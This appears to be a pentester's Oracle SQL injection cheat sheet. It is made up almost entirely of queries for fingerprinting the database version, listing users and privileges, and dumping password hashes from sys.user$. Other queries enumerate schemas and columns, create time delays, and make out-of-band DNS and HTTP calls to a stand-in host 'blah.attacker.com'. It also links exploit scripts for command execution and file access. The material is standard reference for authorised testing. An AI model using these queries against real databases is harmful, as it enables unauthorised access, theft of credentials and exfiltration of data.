SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;

SELECT 1 FROM dual -- comment
-- NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name 'dual' when we're not actually selecting from a table.

SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; -- priv

SELECT name, password, astatus FROM sys.user$ -- priv, <= 10g. astatus tells you if acct is locked
SELECT name,spare4 FROM sys.user$ -- priv, 11g

SELECT * FROM session_privs; -- current privs
SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP'; -- priv, list a user's privs
SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; -- priv, find users with a particular priv
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;

SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;

SELECT DISTINCT owner FROM all_tables; -- list schemas (one per user)
-- Also query TNS listener for other databases. See [[http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html|tnscmd]] (services | status).

SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';

SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;

SELECT bitand(6,2) FROM dual; -- returns 2
SELECT bitand(6,1) FROM dual; -- returns0

SELECT CAST(1 AS char) FROM dual;
SELECT CAST('1' AS int) FROM dual;

SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; -- returns 1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; -- returns 2

BEGIN DBMS_LOCK.SLEEP(5); END; -- priv, can't seem to embed this in a SELECT
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; -- if reverse looks are slow
SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; -- if forward lookups are slow
SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; -- if outbound TCP is filtered / slow
-- Also see [[https://technet.microsoft.com/en-us/library/cc512676.aspx|Heavy Queries]] to create a time delay

SELECT UTL_INADDR.get_host_address('google.com') FROM dual;
SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;

[[http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql|Java]] can be used to execute commands if it's installed.

[[http://www.0xdeadbeef.info/exploits/raptor_oraextproc.sql|ExtProc]] can sometimes be used too, though it normally failed for me. :-(

[[http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql|UTL_FILE]] can sometimes be used. Check that the following is non-null:
SELECT value FROM v$parameter2 WHERE name = 'utl_file_dir';

[[http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql|Java]] can be used to read and write files if it's installed (it is not available in Oracle Express).

SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; -- gets IP address
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; -- gets hostnames

SYSTEM
SYSAUX